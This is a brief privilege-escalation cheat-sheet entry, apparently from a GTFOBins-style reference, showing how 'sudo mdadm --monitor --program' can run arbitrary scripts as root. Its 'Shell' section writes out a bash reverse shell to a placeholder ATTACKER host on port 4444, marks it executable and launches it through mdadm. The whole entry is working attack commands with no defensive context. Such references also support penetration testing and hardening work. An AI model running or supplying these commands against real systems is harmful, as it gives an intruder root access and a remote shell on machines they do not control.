Command execution

sudo mdadm --monitor --program /tmp/evil.sh --test --oneshot /dev/md0

Shell

printf '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER/4444 0>&1\n' > /tmp/shell.sh
chmod +x /tmp/shell.sh
sudo mdadm --monitor --program /tmp/shell.sh --test --oneshot /dev/md0